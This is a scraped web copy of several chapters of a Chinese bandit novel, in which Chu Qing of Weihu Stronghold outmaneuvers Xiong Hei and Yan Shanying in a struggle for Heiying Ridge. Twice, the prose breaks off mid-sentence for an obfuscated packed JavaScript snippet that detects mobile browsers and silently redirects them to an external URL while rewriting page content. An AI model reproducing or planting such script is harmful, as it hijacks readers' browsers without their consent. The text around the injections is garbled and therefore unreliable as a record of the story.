原先纠结自己该投奔谁的,这会儿也不纠结了,原先担忧黑鹰岭残暴的这会儿也不担忧了,他们怒气冲冲地闯进黑鹰岭,扬言豹子山的欺人太甚,就算豁出自己一条性命也要出了这口恶气,他们愿意追随熊黑当家的血洗豹子山,取了主事的项上狗头! 于是才从豹子山赶回来给大当家的报信以便摇人(喊援兵)的熊黑,稍做休整后便立即带着大队强人利器又杀向了豹子山。 投奔黑鹰岭的山中‘散户’中也不乏对虔来山熟门熟路之辈,在他们的带领下,熊黑一群人只用不到四个时辰就猫进了豹子山门口一处茂林密草中。 熊黑将手怼到蹲在自己旁边的小喽啰的鼻孔下,问,“你闻闻我手上还有味儿么?” 小喽啰眼中闪过一丝嫌弃,嘴里却说,“您在寨里洗过许多遍了,哪还有什么味儿啊。” 熊黑收回手自己又闻了闻,骂道,“豹子山那帮狗娘养的,屎尿屁都干到自己家门口了,难怪下手都这么脏!” 小喽啰不知想起了什么,憋着笑嗅嗅自己身处的这片草窝,劝慰说,“当家的,没事,咱现在猫儿的这处干净着,周边这树您随便撑!” “撑你个头!盯梢!” 熊黑在小喽啰脑袋上拍了一下,重又目不转睛的看向不远处一片漆黑的豹子山,“奇怪……豹子山夜里怎么连个门口值守都没有?” 小喽啰:“这种小山小寨说不定向来就没有值守。” 熊黑心里起疑,命人捡了石块摸过去朝里扔,可他们一连往豹子山大院里扔了好几块石头,都不见里面有动静,有几个新投奔的想在他面前表现,自告奋勇说要进去看看,熊黑放他们进去没一会儿,就看到那几人在门口招手大喊说,“当家的!是空寨,里面一个人都没有!” 熊黑脑袋里‘嗡’了一声,撑着树干起身就往进跑,他将豹子山转了个遍,不说人影,就连铺盖卷都没见一个,要不是傍晚自己亲眼在外面瞧见过里面的人,他还真会以为这山寨从来没有住过人! “妈的!被耍了!”熊黑忽然想起什么似的,指着豹子山门口,大吼,“去傍晚咱们猫儿的那处草丛看看,看我扔的那块画着鱼的骨头还在不在!” “诶!” 小喽啰应声出去,熊黑双手叉腰哼哧哼哧的在原地踱步。 熊黑本就鬓须满面又生的十分魁梧,此时怒发一冲冠越发像他名字倒过来那般,好似一头彪悍黑熊。 “回当家的!那块画着鱼的骨头不见了!” “咚!” “妈的,敢耍老子!” 熊黑一脚将搁在院里的木架踹的稀烂,跑来回话的小喽啰歪着身子躲过蹦出来木块,出主意说,“当家的,这豹子山不是早被威虎寨吞并了么,他们会不会知道咱们要来,所以躲去威虎寨了?” “蠢货!他们既然知道老子会扑空,难道不晓得老子会迁怒威虎寨么!”熊黑咬牙切齿说,“若料想不错,威虎寨那个姓齐的恐怕也早将山寨腾空等我们过去了!” 周围人再不敢说话了,熊黑暗自猜测那伙人会躲去哪儿,电光火石之间他忽然想明白,威虎寨这帮人拿下豹子山后不久就开始侵扰黑鹰岭,他们一开始就是奔着黑鹰岭去的!但是……他今日带着大队人手奔袭豹子山却扑了个空…… 豹子山是空的,黑鹰岭要是不算那些人……也快空了! 调虎离山! “你!你们!”熊黑指着新投奔黑鹰岭那伙人,“你们速速前往威虎寨,若齐威虎那厮还在他的忠义堂坐着,就提了他的狗头与我黑鹰岭做见面礼!若威虎寨里没人!便在四个时辰之内赶赴黑鹰岭,老子邀诸位食人肉、饮人血!” “是!” 六七十位汉子离去后,熊黑周围人手只剩下一半,他率先抬步往出走,喝道,“其余所有人速速赶回黑鹰岭!” 从北到南连气都没多喘一口就又要从南跑到北?小喽啰在累死和被他掐死之间犹豫挣扎许久终于大着胆子哭丧着脸说,“当家的,兄弟们已经在虔来山中奔波快两日了,再不歇会儿只怕会吃不消啊!” 熊黑顿住脚,转身抽了小喽啰一巴掌,恨恨道,“再歇!再歇!老窝都要让人家给端了!谁要是再说废话老子就让谁永远在这儿歇下!” 众人见平日里最爱跟当家们插科打诨的的小喽啰此时被打的牙都掉了两颗,纷纷吓得不敢抱怨,只闭上嘴又跟着熊黑原路返回。 看熊黑一伙儿人走远,方才领命去取齐威虎项上人头的山中‘散户’从草丛里悄悄冒出头,他们互相看了一眼都认为黑鹰岭如今也不太平,跟着他们似乎并不是很稳妥,一行人商量片刻觉得自己来都来了,跟谁混不是混,于是不计前嫌的带着从黑鹰岭得来的消息转而投奔威虎寨去了。 而和自家兄弟们躲在离威虎寨不远一处山谷中的姜九,听见数十人在山寨大门外吵嚷着‘久闻威虎寨大名,慕名前来入伙投奔,请齐大当家现身相见’时不由与齐威虎面面相觑后陷入了深思。 齐威虎问,“他们真的假的?” 姜九摇头,“二当家的走时只交代咱们出寨躲好,没说还招了这许多人回来啊。” 齐威虎又问,“那这些人咱要是不要?” 姜九又摇头,“不晓得,他们看着挺凶狠的,要不咱再观望观望?” 齐威虎看向寨子外那群甩了手中兵器,席地而坐开始闲聊的人,试探说,“我瞧也不是很凶狠么……” 姜九:“那小的过去问问!” 齐威虎望着终于长大、懂得担当的姜九款款向那群人走去的身影,心中正在担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888131|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧与欣慰中来回变换之际,倏地瞧见姜九只与那帮人交谈几句后就蹦跳着朝自己挥手。 自己的躲藏方位已然暴露,齐威虎想想还是带了几个手下昂首从山谷走出,姜九看到大当家的露面,便立即领前来投奔的领头过去答话。 听完对方说明自己的来路后,齐威虎知晓他们这群人就是初暒说的可能会因在豹子山扑空而迁怒报复威虎寨的黑鹰岭土匪,他们的确是土匪,但却是连黑鹰岭大门都没进过的土匪,他们与黑鹰岭没什么交情,不过是跟其他投奔威虎寨的‘散户’一样只想在这虔来山中寻棵能背靠的大树罢了。 威虎寨不是救济堂,他齐威虎也不是什么大善人,他不想平白管这些见风使舵之人的吃喝拉撒,可这些人扬言慕名来投奔,若自己不收下他们,背上骂名事小,同这六七十号山中土匪树敌是大啊…… 威虎寨齐大当家的神情不对,领头的看出他这是不想收下他们,走上前奉承道,“小的早耳闻贵寨二当家的当初只抡一把大斧便吃下豹子山的事迹,故而一听熊黑说‘回去晚了,恐怕连老窝都给人端了’,就晓得有如此能耐干成此事的,定是您手下的二当家,若二当家的这回真能带人夺下黑鹰岭,不说天下闻名,在咱虔来山中怎么着都能说一不二了,到那时,威虎寨只一个二当家都能一呼百应了,可独自在家中守着山寨兄弟们的大当家您是否能使唤动二当家凭本事收服的那些人呢,小的们先前识人不清,差点拜倒在燕山鹰门下,直到今日在此处亲眼见您,才晓得威虎寨大当家的果真如传闻一般仗义和善、性情温和,我等在山中漂泊已久,实在想认个善心清明的主儿,若是您愿意收下我们,我们这一众兄弟今后定然对大当家的忠心耿耿、惟命是从!” 他说的真心实意,姜九刚开始听时还觉得自豪地不行,可是后来越听越不对劲儿,这小子前几句是在恭维,后几句竟直接开始挑拨了,他抱着的双臂猛地抬起刚要出手推搡说话那人,齐威虎却笑笑说,“诸位好汉诚心投奔,我威虎寨哪有不收的道理,兄弟你也知道我二当家的此时正在黑鹰岭办事,若后续他那头需要人手,我少不了要派手下过去帮衬,正巧您大伙儿对黑鹰岭人熟地也不生,到时就劳烦诸位兄弟们受累替我跑一趟,也算是大家伙儿给咱们威虎寨奉上的见面礼了,你看如何?” 扔出去的飞镖转了个圈又插进了自己脑门,领头那人听完齐威虎的话脸上的笑意差点没有挂住,这这那那了许久才讪讪道了声“小的们应该做的。” 他们低着头唯唯诺诺,齐威虎这才确认今日这事儿不过是一场虚惊,他命姜九招呼藏在山谷里的其他兄弟们返回山寨,自己则在一旁看着这些他一手招揽的威虎寨众兄弟忙碌的身影若有所思。 姜九看到大当家的在出神,蹦跳着跑来请他回去。 齐威虎与姜九并肩往回走时,漫不经心的说,“那个领头的方才是在挑拨我与二当家的。” 姜九点了点头,恨恨说,“他就是想让您和二当家的离心然后重用他!真是个坏货!” 齐威虎:“若他说的将来成真呢?” “不可能!”姜九想也不想的反驳,“二当家的才不是贪势的人!” 齐威虎笑了,问,“你与二当家才认识多久,怎的这般信任她?” 姜九忙说,“二当家的带两拨人去豹子山后小的亲眼见了,他命伍二哥和楚六哥一人管一拨人,自己从不插手两位哥哥如何管教手下人,她要是真想过一寨之主的瘾,早越过伍二哥和楚六哥拉拢才进寨还不知道咱威虎寨里谁才是真正当家的那些人了。” 若她所图的不只是这虔来山的一寨之主呢…… 齐威虎扬着唇没有接话,姜九疑惑问他,“怎么?大当家的您该不会真信了那个坏货的话怀疑二当家的有二心罢?” “再看看。” 齐威虎大跨两步超过姜九,姜九没有看见大当家的神色,只听他又说,“等黑鹰岭那边传回消息再看罢……” 83. 熊黑 豹子山与黑鹰岭相距较远,但远有远的好处。 譬若,熊黑怒气冲冲带人从豹子山跑回去报信加摇人(喊援兵)时,威虎寨众人正钻在被窝里美滋滋的睡了三个时辰,等熊黑召集到人手马不停蹄地赶回豹子山时,威虎寨全寨睡了个自然醒后已经跟随方大通抄近道摸到了他们的老巢黑鹰岭。 这是方大通入伙威虎寨后头回出力,他生怕初暒觉得自己说能带人在三个时辰内到达黑鹰岭是在编瞎话,一路上恨不能在每个人脚下都装上一副风火轮。 方大通赶路赶得急赤白脸,可是初暒却始终劝他不要着急,一路上不是下令让大伙儿原地休整就是独自落在队伍最后四处摸索,原本不到三个时辰的路程,让他们硬是走了四个时辰才到。 虽说路上花费的时间多,但威虎寨一行人看到以往只在地形图上见过的那处上宽下窄之地豁然跃入眼帘时,虔来山上的天刚蒙蒙亮。 初暒在黑鹰岭旁边的一个小山头中找到一处位置较高且相对平缓的山坳,山坳依靠山体一侧有横向突出的山石,山石遮蔽之下正好能容纳百余人挤在一起避风挡雨。 伍二与楚六正在安顿寨里兄弟,初暒背手立在山坳平地上一一扫视过他们,挤在人堆的方大通一看她这模样就猜想这位二当家定然是有话吩咐,于是便一直竖着耳朵趴在铺盖上仔细候着。 果不其然,初暒等他们各自都安置好安静下来后,才问了句,“谁会说兴民城方言?” “小的会!” 初暒话音刚落,方大通就举着手从里头跳出来,笑说,“小的幼时在兴民城里要过饭,官话与方言都会说!” 他说完,威虎寨其他喽啰们都低低笑了一声,在虔来山上讨生活的人,上山前多少都吃过苦头,初暒听出这些笑声中没有轻视与嘲讽,颔首让方大通出来跟她走。 “楚六,你叫上伍二也过来。” 初暒点的这三个人在威虎寨里都是有名有姓的,一些聚在山石底下的土匪们明白他们是准备商议大事了,都开始交头接耳的闹哄起来,伍二回头呵斥了几句促使他们噤声后,其中一道询问的声音又变得清晰起来,“二当家的,您带小的们奔袭黑鹰岭,可是这都到燕山鹰老窝了怎么不杀进去反倒只在这山旮旯里安窝?咱们到底是打还是不打啊?” 初暒上前两步,目视他们朗声道,“带大家连夜出来不是为了在虔来山里赏景的!黑鹰岭肯定要打,但在此之前我需要与这三位能认路的、有功夫的替兄弟们去探探路,以确保咱们能万无一失的一举夺下黑鹰岭!奔波了一路,大家伙儿尽快在此处养养精蓄蓄锐,等咱们威虎寨乔迁新居时,诸位有的是卖力气的时候!” 提问那人听到这话呆愣了一瞬,又问,“探路卖命不都是当家的手下喽啰干的么,您怎么亲自干上了?” “大家入伙威虎寨是为了荣华富贵,又不是为送死,我既然将兄弟们齐齐整整的带出来,就势必要将在座诸位囫囵个的带回去!推自家兄弟出去卖命这事,我初暒可做不出来,废话都少说些……”初暒看着问话那人,“潘闯,你安排人在山坳周围值守,一有动静便以骨哨为号告知于我并带领此处兄弟四散着隐匿在山坳附近等我们回来!” 当家的将危险的活儿都揽在自己身上,做惯人家手下的土匪喽啰们从没遇见过这样把他们当人的头儿,一群汉子们心里忽然感动的不知该如何是好。 潘闯受任起身抱拳,郑重道,“诸位行事小心,请二当家的放心,小的定不辱命!” 安抚完他们,初暒与自己叫出来的三人潜入密林翻过小山头,又围着黑鹰岭外沿绕过一圈后才趴进山寨不远一处草窝中盯着在黑鹰岭门外巡逻值守的喽啰们。 对面人来人往,伍二纳闷问,“二当家的已经用计将黑鹰岭一部分人调走了,怎的他们还有这么多人?” 方大通:“不然大家伙儿为何都说黑鹰岭是虔来山里最大的土匪窝,二当家的,咱可只有不到二百人啊,连人家牙缝都不够塞的。” 楚六不服气,驳他,“你不晓得豹子山是怎么没的么?以少胜多,咱们二当家有经验的很呢,是吧伍二?” 伍二敷衍的嗯了一声,偏头看向目不转睛望着那些值守喽啰们的初暒,“二当家的,那些人只是来回在门口转悠,有啥好看的?” 初暒:“山中土匪腰间大多都有佩刀,我瞧你们行走站立时会将手搭在刀把,只因那样既能借力遇上紧要情况时也能迅速抽出刀来应对,但是你们仔细看黑鹰岭门外那些值守喽啰,他们有的人两手无力垂在胯边,有的人来回行走时刀鞘还会打到腿部或膝盖,种种迹象都表明这些人都不是惯常使刀的,更像是……” 伍二接话说,“更像是为了看着像土匪,才专门给他们配了一把刀。” 初暒:“对。” “啊?土匪就土匪,怎么还看着像呢。” 楚六一头雾水,方大通却听明白了,“这些人都是黑鹰岭在兴民城附近掳回来的农家汉子吧!门口靠墙那个是不是就是黑鹰岭派人威胁他们的真土匪?” 靠在墙边的土匪动作闲散,眼神却十分犀利,他敏锐地看到巡守喽啰中有一人往山林里多张望了一眼,便立即抽刀指着大声叫骂。 被骂那人吓得赶忙鞠躬赔罪,看他只是辱骂两句再没有继续惩治的意思才重又跟在巡守队伍中低头行走。 初暒:“在门口巡逻值守的有十五人,但这十五人中只有一个是真正的土匪,照这个比例推测,黑鹰岭中的真土匪或许并不比我们带来的人富裕多少。” 方大通:“双拳难敌四手,何况能留在黑鹰岭的百姓肯定也不是吃素的……” 楚六打断他,说,“那些人是被黑鹰岭土匪掳回去的,本就不是会打杀的土匪有甚好怕的,到时咱们打上去了他们说不准还会趁机反抗黑鹰岭呢!” 初暒:“百姓们被权势压迫惯了,不到伤及自己或亲友性命时是极难奋起反抗的,要想完全甩开这批人,我们需得将黑鹰岭这池水搅得越浑越乱才好。” 伍二懂了,笑说,“二当家的是想浑水摸鱼!” 楚六怼了怼伍二的肩膀,嘿了一声,“买弄什么?以前怎么没发现你小子也会四个字四个字的往外蹦词呢!” “早跟你说过,听不懂就莫再问了,非得让人家瞧出你是文盲就高兴了么。” “老伍头,你骂谁文盲呢……” 楚六拦住伍二的脖子闹作一团,初暒侧身踹了他俩一脚,身旁的动静才小了一点儿。 初暒问方大通,“你可知黑鹰岭的燕山鹰是个怎样的人?” “燕山鹰?”方大通抬手揉搓着自己的脑门,边回想边说,“小的原先在兴民城这一带谋生时,只听说他是黑鹰岭的大当家,那时黑鹰岭的土匪还没有这么多,他们也跟寻常山寨一样只求财不害命,不过……好像是从去年燕山鹰手下新挂柱(入伙)了一个当家的开始,黑鹰岭就像是变了天似的,既图财又图人,那些掳回山寨不服管教的、胆小怕事的汉子统统都被杀鸡儆猴了,周边土匪百姓有熟人让他们害了命,知道这伙人都是些亡命徒,一传十、十传百的,黑鹰岭凶狠残暴的名声就这么传出去了,小的也是因为在人家地盘上撒野被教训过,没法了才窜到虎豹山头那片的。” “新挂柱的当家?”初暒问,“你见过他么?” 方大通点点头,“见过,那位名号熊黑,人如其名,长得高大雄壮,活脱脱一个会说人话的黑瞎子精(黑熊精),此人性子暴虐,生性多疑,只相信自己,故而自入伙黑鹰岭后就常常亲自带人在山上山下抢掠杀戮,兴民城的百姓吓唬闹觉的孩子时提熊黑的名号,比用燕山鹰的好使。” 他这么一形容,初暒想起之前在山中抢完土匪跑开时,隐约听身后有一人怒吼了一句‘打完就抢!抢完就跑!这他娘的都几回了!次仇不报,我熊黑就改姓怂……’ “喜欢亲力亲为?那我们调去豹子山的八成就是熊黑那伙人。”初暒估算了一下熊黑往来黑鹰岭与豹子山之间的时辰后,握着手边的大斧弓腰起身,“战其将、察其才,熊黑为报仇解恨大概会将黑鹰岭部分能打的手下都带去豹子山,咱们先去探探还在寨中坐镇的燕山鹰的本事,再商议如何带威虎寨的兄弟们去浑水摸鱼罢。” “是!” 楚六与方大通应声后握住兵器家伙便猫着腰同初暒一起离开,伍二却将初暒起身后说的第一句话仔细咀嚼了片刻才疾步追上他们。 黑鹰岭土匪众多,除了一些外出抢掠的,大多数人每日都只能待在山寨里干点杂活儿。 入秋后的虔来山遍地都是干枯落叶,人稍不留意就会将枯叶踩出‘咔嚓’声响,叶子碎裂成渣,再想它的叶片与叶杆拢到一处可就难了。 人回不了家就算了,叶落还归不了根也实在可怜。 眼底生出怜惜的汉子随手取过靠在墙边的扫帚,将满地的梧桐树叶扫在一起正准备将其全部推埋在院里那棵梧桐树根上时,忽然听见身后响 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这会儿不是饭点,伙房附近没有闲人,这汉子或许是害怕自己动静太大,惹得这位小哥不快,故而连嚎啕也不敢放声。 他脑袋磕在地上好半晌,直到惶恐地情绪已经趋于平静后也不听白净小哥开口说话,他刚要抬头偷看,忽然听见北边有人高喊,“大当家的!北厢房有奸细潜入!” 啊? 奸细不就在自己眼前? 汉子没反应过来,下意识抬眼看向白净小哥的鞋面时又听见南面有人大呼,“大当家的!不好了!南头茅厕也钻了个奸细!” 原来闯入黑鹰岭的不止他一个! 汉子抬头看见白净小哥手中握住的大斧时西边紧接着又有人嚎叫,“西边!西边库房还有一个!” 北、南、西三面竟都有人混入! 汉子仰头时与白净小哥四目相对,他不知道对方到底想干什么,只跪在地上哆哆嗦嗦的打颤。 初暒看他没有开口的意思,终于提醒道,“看什么看,倒是张嘴喊呀!” “喊…喊什么?” 这老实汉子不开窍,初暒也不指望了。 她上前用手刀将汉子砍晕,又把他拖到离东边伙房较远的平地,才使大斧劈烂了黑鹰岭伙房烧着水的灶台与散着烟的甬道。 这下不消土匪呼喊,伙房直插云霄的黑烟便足以给看见它的所有土匪报信—— 光天化日之下,黑鹰岭东南西北四边均被不明来路、不明数量的人闯进来逛过一遭了。 在事先分配过的方位露过面后,楚六跑到汇合的山头,一边闻着自己臭的发酸的衣裳一边紧紧贴着伍二趴过去。 “一身的屎臭味离我远点儿!” “在豹子山上野厕惯了,老子都忘记西南角一般都是茅房了。”楚六十分后悔,“早知道我就选西边库房了!” 方大通捏着鼻子绕道初暒另一侧,说,“小的从北边围墙翻过去后正巧看到燕山鹰从正房里出来,他看见小的神情不是愤怒,倒像是有些慌乱,愣了一瞬才下令封寨追我呢。” 初暒在黑鹰岭旁边一个山头上居高临下的看着寨子里慌张奔走、乱作一团的土匪说,“熊黑不在寨中,他们便慌成这样,看来在黑鹰岭中熊黑才是真正能当家的,熊黑身死之言我已经传了进去,消息这会儿估计正在里头发酵,多少也能为咱们争取一些时间。” 楚六问,“可万一熊黑提前杀回来咋办,内外夹击不就给咱们包了饺子么?” “熊黑就算提前回来也无碍,他们那群人在虔来山奔波快两日,不累死也肯定没力气提刀了。” 初暒解释完,继续与三人交代,“伍二,你速速回去让兄弟们带好两样家伙赶赴此地,今夜咱们就要拿下黑鹰岭!” 伍二:“是!” “黑鹰岭伙房冒出的黑烟可能不止给寨中土匪报了信,方大通,等伍二带人回来后,你挑些机灵的堵在黑鹰岭周围要道,务必将随烟赶来的其他土匪喽啰截住,以防他们在两寨混战中坐收渔利,不过……若是遇上土匪喽啰之外的人,切记尽快传信于我,不可轻举妄动!” 方大通:“是!” 两人领命后转身就走,楚六焦急忙问,“那小的做什么?” 初暒将目光投向离黑鹰岭不远那片状如弯刀的山谷,凝声道,“随我去踩点,顺便教教你什么才是包饺子!” 84. 大斧 人在寨中坐,奸细四面来。 燕山鹰靠在聚英堂主位不停拨弄着自己的齐肩短发,好像手上不扒拉点儿什么就浑身不自在似的。 手下人从外面拖进个死猪一般的汉子后躬身立在堂下,禀报说,“大当家的,寨里东边没有人戒备呼喊却有冲天黑烟,小的们赶过去后发现伙夫董梁在院里被打晕,伙房土灶与散烟道也都被劈烂了。” “把他弄醒。” “是。” 黑鹰岭喽啰蹲下用力在董梁脸上甩了几个巴掌,拧着眉抬起眼皮的董梁后颈的僵硬还没有散去,脸颊上火辣辣的疼痛又猛地让他恢复意识。 董梁睁开眼睛看见聚英堂中有十数人齐刷刷地盯着自己,吓得立即翻身跪地呼喊,“小的什么都不知道,好汉饶命!好汉饶命!” 燕山鹰重重拍了一下案几,震得案上杯盏都跳起来打了个寒颤,吼道,“老子什么都没问,你就说不知道!睁大你的狗眼仔细瞧瞧,此处只有咱们黑鹰岭众兄弟,快快将方才遇到何事、见过何人全数说出,若是再装疯卖傻当心我喊人将你扒光了丢进山里喂熊!” “是是是,小的一定全数说出……”董梁跪在地上仔细回想自己被劈晕前发生的事儿,“小的早晨在伙房院中洒扫时,忽的听见身后有枯叶被人踩碎的‘咔嚓’声,可是那片地方小的才扫干净,并没有落叶,而伙房院里那棵参天梧桐树枝叶繁茂如盖,有些叶子都落到山寨墙外头了……” 燕山鹰:“少废话,说重点!” “是是是……小的听见声音一扭头,只瞧见一个瘦弱高挑的年轻男子站在墙边,一看就是才从山寨外面翻进来的,小的刚准备高喊报信,却见他从腰间抽出一把大斧步步朝小的逼近,哦对了……”董梁忽然想起来什么要事,立即变得惊慌起来,“小的听他说当家的熊黑已在外被威虎寨伏击死无全尸了,他还说黑鹰岭今夜还姓不姓燕都难说呢!” “熊黑死了?!” 燕山鹰心里咯噔一下,拍案而起,质问,“你这话是真是假?” “那位真是这么说的,小的也不知真假。” 熊黑死了? 熊黑怎么会死? 熊黑怎么能死! 威虎寨? 腰间还别着一把大斧? 有人想起虔来山中传闻,“听说将豹子山吃掉的威虎寨二当家就惯常使大斧,他们威虎寨居然敢盯上咱们黑鹰岭……” 董梁的话让聚义堂众人窃窃私议起来,燕山鹰也焦虑地搓着手起身在堂上来回踱步。 黑鹰岭的新仇旧恨都是熊黑惹出来的,他死了的消息要是传出去,还不知道会引来多少找黑鹰岭报仇的人。 燕山鹰狠下心来,挥手招来两个喽啰,冷声道,“将他带下去插(杀)了。” “啊!大当家的饶命啊……” 董梁哪知道自己实话实说也能送掉一条性命,惶恐不甘的颤抖嚎叫,可他趴在地上胡乱喊了好几句都不见有人拖自己出去,纳闷稍微大过了恐惧,董梁瞧瞧看向了站在堂上的大当家。 熊黑死了,这帮人连自己的话都不听了么! 燕山鹰将案几上的茶盏砸下去,怒喝,“耳朵都聋了么!” “大当家的息怒。” 拖董梁进来的喽啰平静说,“一个奸细口中传出的消息怎能当真,大当家的不经查证便随意处置手下性命,若熊黑当家的平安回来,此举不是伤了寨里其他兄弟们的心?” “可要是熊黑真带那么多人死在外面,威虎寨伙同那些与我们有仇的山寨土匪一齐攻打我黑鹰岭,你该如何!” “熊黑当家的带众多兄弟去豹子山报仇那日浩浩荡荡,这消息想瞒也瞒不住,他们至今未归,死有可能,生亦有可能,但黑鹰岭与豹子山相距甚远,就算他们能平安回来,其体力也不足以与我们一起对抗侵扰,因而咱们既要做好与熊黑当家的内外夹击的打算,也要集结寨中所有弟兄做好反攻的准备。” 他所言有理,燕山鹰却有些犹豫,“可是……人手上恐怕……” “大当家的放心,黑鹰岭才是虔来山脉中最大的土匪窝,就算真到近身肉搏那步,他们再能打的一个也并不一定能干过咱们握着刀的五个!” 众人脸上皆是一副擅闯黑鹰岭之人只是前来送死的神情,燕山鹰心中虽然抱有一丝侥幸,但还是又说,“谨慎起见,还是派人给刀疤脸传个信儿罢,若有个万一,咱们黑鹰岭也算有个援手。” 堂下出主意那位略一思忖后,才颔首领命,“是。” 黑鹰岭伙房的土灶被奸细砍了,等他们重新搭柴火堆生火煮饭、一大帮子用过饭后已到未时。 楚六啃着干粮目送从黑鹰岭方向过来、吃的满嘴流油的土匪喽啰走远后,不甘心的嘟囔,“燕山鹰都差人来刀客谷报信了,就这么放他过去?他们人本来就多,要是再加上刀客谷那帮人,老子还费这劲儿作甚?直接洗刷干净与人家做下酒菜得了……” 他的声音不大,挨得近就能听见,初暒知道他是说给自己听的,从草丛中坐起来说,“黑鹰岭都因夺寨消息惶恐地派人出去报信求援找后路了,你指望仰仗黑鹰岭的刀客谷能做什么?刀疤脸只要在燕山鹰上门求助时不在里头堵门就算讲义气了。” 自己的牢骚被头儿听见了,楚六支吾着哦了一声,初暒问他,“在刀客谷周围转过一圈了,可看出此处地势有什么不同么?” “刀客谷就是个小山谷,两山间低凹而狭窄之处就是山谷,刀疤脸的老窝除了比其他山寨难找了些,不都跟其他山谷一个样么,有啥不同的。” 初暒看向他说的两山间低凹而狭窄之处,说,“谷,就是最大的不同。” 初暒的嘴角带笑,但是在她脸上看不出一丝喜悦,楚六总觉得那笑意有些不对劲儿,可又说不清是哪里不对,他想了好一会儿还是只问出一句,“二当家的,伍二此时大概已经将兄弟们带来了,咱们回去?” “好。” 威虎寨二当家一句‘黑鹰岭今夜还姓不姓燕都难说’,黑鹰岭上下便在入夜前全副武装的集结在寨中大院。 有人在队伍里悄声说,“一个小虾米饿极吃掉另一个小虾米而已,威虎寨那帮杂碎以为自己夺了豹子山就能在虔来山里横着走了么……” “就是,真当自己能耐大的能一口吞下咱黑鹰岭这条大鱼?也不晓得大当家的何故会因他们一句蠢话在寨里闹出这么大动静?” “切,还不是因为熊黑死了,他大当家终于能尝尝做真正的大当家是什么滋味了……” “可是,熊黑到底是真死了还是……” “报——” 门外一守卫惊慌地闯入,不等燕山鹰反应,哆哆嗦嗦回报,“不好了大当家!熊黑当家真死在外面了,他的尸体方才被人从山上扔下来正巧滚到咱们寨门口呢!” “什么!” 燕山鹰听闻此信面目虽然狰狞,可心中除了忐忑更多却是快意,被熊黑压了一头许久,如今他这个大当家终于不必再看任何人的脸色行事。 但…… 熊黑此人的本事燕山鹰心知肚明,他想不通一个小小的威虎寨竟能将他杀了,可是他们杀便杀了为何还要将熊黑的尸体专程扔到黑鹰岭门前? 虔来山土匪皆知黑鹰岭人多势众,若想拿下这里,如白日那样悄悄潜入逐向击破也比这般张扬胜算大些,而他们此举好似生怕自己所为不能叫黑鹰岭上下愤而出战似的…… 燕山鹰觉得有诈,正立于队列前面背手沉思,方才听见守卫呼喊的熊黑手下飞速跑去认尸的几人回来后,瞧见他听到熊黑的死讯竟如此冷静,忍着怒气愤恨道,“大当家的!威虎寨狗胆包天,居然敢欺辱到咱们黑鹰岭门口,熊黑当家被他们杀害抛尸至此,此仇不报我等誓不为人!威虎寨的放了信,此时定然隐匿在黑鹰岭附近,请大当家的下令准我带人出寨寻找,为熊黑当家报仇雪恨!” “不可!” 燕山鹰严词拒绝,“黑鹰岭所处地势易守难攻,威虎寨用熊黑尸体为饵就是想让我们怒极失智,跑出去给他们做靶子,若真大开寨门与他们寻仇,不正是中了他们的奸计么!来人!立即封住寨门,任何人无令不得擅出!” 熊黑手下平日跟着熊黑嚣张惯了,向来看不上唯唯诺诺的燕山鹰,而今熊黑才死,这位名不副实的大当家就迫不及待想在寨里发号施令,队列侧边为首那人冷哼一声,嘲讽怒喝,“威虎寨都杀到门前了,还要兄弟们乖乖窝在寨里等人家骑到脑袋上撒尿?大当家的别是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888133|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊黑护了太久连刀都不会握了,此时遇着威虎寨上门挑衅害怕的站都站不稳吧,要真是如此,那小的便带人出去应付!您就封住寨门躲在此处,安心等咱们报完仇得胜归来罢!” 他对燕山鹰叫嚣完,甩臂侧身面向集结在院中的土匪喽啰,高声道,“今日在寨中东南西北四面见过威虎寨奸细的拿着家伙跟我走!” 熊黑的尸体被抬走后,黑鹰岭的寨门关了又开。 伏在不远处土坑底的伍二见状问,“二当家的,您何时杀了熊黑?” 初暒没有说话,只看着从黑鹰岭出来那片黑压压的人头不知在思忖什么,一旁的楚六答他,“我与二当家先前只是围着刀客谷转了一圈,从未见过熊黑啊。” 伍二:“那熊黑怎么……” “看来黑鹰岭伙房冒出的黑烟当真不止给寨中土匪报了信。”初暒沉声道,“在虔来山游荡的那支官差小队也摸过来了。” 伍二惊诧,“他们在山里遇上奔波了许久的熊黑,杀了他后将其尸首抛到黑鹰岭门前!可是咱们今日才对黑鹰岭放了要夺寨的狠话,这会儿黑鹰岭那帮人岂不是会认为是咱们威虎寨杀了熊黑!” “黑鹰岭本来还战战兢兢躲在家里等着被打呢,如今却怒气冲冲地跑出来找咱们寻仇!咱们点儿也太背了……诶?可是他们为何这么巧赶在今日遇着了熊黑还将他的尸体扔出来?”楚六忽然反应过来,“想挑起威黑两家争斗、坐收渔利竟是那群鹰爪孙!” 伍二气急,“方大通不是正带人堵在黑鹰岭周围要道么,怎的不曾见有人传话回来!二当家的,虔来山上如今掺和进官府的人了,这黑鹰岭咱们今夜还能不能拿?” 伍二言毕,楚六便与他紧盯专注望着前方寨门外熙攘闹哄的黑鹰岭土匪的初暒。 天光渐褪,明月还未来得及高悬,黑鹰岭门前有人燃起了火把照明,却很快又被另一些人锤了一拳后将其甩在地上踩灭。 